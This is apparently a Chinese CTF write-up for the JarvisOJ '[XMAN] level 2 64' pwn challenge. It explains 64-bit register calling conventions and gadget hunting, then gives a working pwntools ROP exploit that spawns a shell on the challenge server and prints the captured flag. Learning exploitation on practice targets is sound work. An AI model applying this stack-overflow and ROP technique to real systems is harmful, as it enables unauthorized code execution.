一.[XMAN] level 2 64位

练习平台：https://www.jarvisoj.com/challenges

题目：[XMAN] level 2 64

```
zzw@ubuntu:~/Desktop/pwn/2_x64$ chmod +x level2_x64
zzw@ubuntu:~/Desktop/pwn/2_x64$ ./level2_x64
Input:
111111111
Hello World!
zzw@ubuntu:~/Desktop/pwn/2_x64$ file level2_x64
level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically lin
ked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1
]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped
zzw@ubuntu:~/Desktop/pwn/2_x64$
```

二.IDA分析

2.1 查看程序逻辑

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(*(_QWORD *)&argc, argv, envp);
  return system("echo 'Hello World!'");
}
```

- 溢出点

```
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  system("echo Input:");
  return read(0, &buf, 0x200uLL);
}
```

- system函数

```
int system(const char *command)
{
  return system(command);
}
```

- /bin/sh字符串

Address	Length	Type	String
LOAD:0000000000400200	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:0000000000400341	0000000B	C	libdl.so.2
LOAD:000000000040034C	0000001C	C	_ITM_deregisterTMCloneTable
LOAD:0000000000400368	0000000F	C	__gmon_start__
LOAD:0000000000400377	00000014	C	_Jv_RegisterClasses
LOAD:000000000040038B	0000001A	C	_ITM_registerTMCloneTable
LOAD:00000000004003A5	0000000A	C	libc.so.6
LOAD:00000000004003AF	00000005	C	read
LOAD:00000000004003B4	00000007	C	system
LOAD:00000000004003BB	00000012	C	__libc_start_main
LOAD:00000000004003CD	0000000C	C	GLIBC_2.2.5
.rodata:00000000004006D4	0000000C	C	echo Input:
.rodata:00000000004006E0	00000014	C	echo 'Hello World!'
.eh_frame:0000000000400797	00000006	C	;*3$\"
.data:0000000000600A90	00000008	C	/bin/sh

2.2 安全机制

```
zzw@ubuntu:~/Desktop/pwn/2_x64$ checksec level2_x64
[*] '/home/zzw/Desktop/pwn/2_x64/level2_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
zzw@ubuntu:~/Desktop/pwn/2_x64$
```

堆栈不能执行，地址未随机化

2.3 分析

该程序与前文32位程序逻辑一样。32位程序的poc布局在本次失效。

原因就在于传递参数的方式不同。32位程序使用栈传递参数，而64程序使用寄存器传递参数。

在32位程序运行中，函数参数直接压入栈中

调用函数时栈的结构为：调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

在64位程序运行中，参数传递需要寄存器

64位参数传递约定：前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中

参数超过六个时，从第七个开始压入栈中。

这时就需要rop编程。

- 首先需要将"/bin/sh"参数传递给rdi寄存器

"/bin/sh"地址： 0x600a90 (也可以在IDA中静态获取)

```
zzw@ubuntu:~/Desktop/pwn/2_x64$ ROPgadget --binary level2_x64 --string "/bin/sh"

Strings information
============================================================
0x0000000000600a90 : /bin/sh
```

寻找 pop rdi；ret 指令

```
zzw@ubuntu:~/Desktop/pwn/2_x64$ ROPgadget --binary level2_x64  --only "pop|ret"
| grep rdi
0x00000000004006b3 : pop rdi ; ret
zzw@ubuntu:~/Desktop/pwn/2_x64$
```

- system地址

  这个可以使用ida中的地址，因为地址没有被随机化。

  也可以使用pwntools中的方法：

elf = ELF('./name')

system_addr = elf.symbols(['sysytem'])

3.4 poc编写

```
from pwn import *
#pro = process('./level1')
pro=remote('pwn2.jarvisoj.com',9882)
system_addr=0x04004C0
binsh_addr=0x600a90
rdi_ret= 0x4006b3
data=pro.recv(100).decode()

shellcode=flat(['a'*(0x80+8),p64(rdi_ret),p64(binsh_addr),p64(system_addr)])

pro.send(shellcode)

pro.interactive()

pro.close()
```

```
zzw@ubuntu:~/Desktop/pwn/2_x64$ python3 pwnme.py
[+] Opening connection to pwn2.jarvisoj.com on port 9882: Done
[*] Switching to interactive mode
$ ls
flag
level2_x64
$ cat flag
CTF{081ecc7c8d658409eb43358dcc1cf446}
$
```

这里有几点要说明：

- 关于rop中的ret。这个需要好好理解，对于eip的移动至关重要
- 64位程序是使用寄存器入参。之后再调用函数。形如

```
00608:       48 8d 45 80             lea    -0x80(%rbp),%rax
0060c:       ba 00 02 00 00          mov    $0x200,%edx
00611:       48 89 c6                mov    %rax,%rsi
00614:       bf 00 00 00 00          mov    $0x0,%edi
00619:       e8 b2 fe ff ff          callq  4004d0 <read@plt>
0061e:       c9                      leaveq
0061f:       c3                      retq
```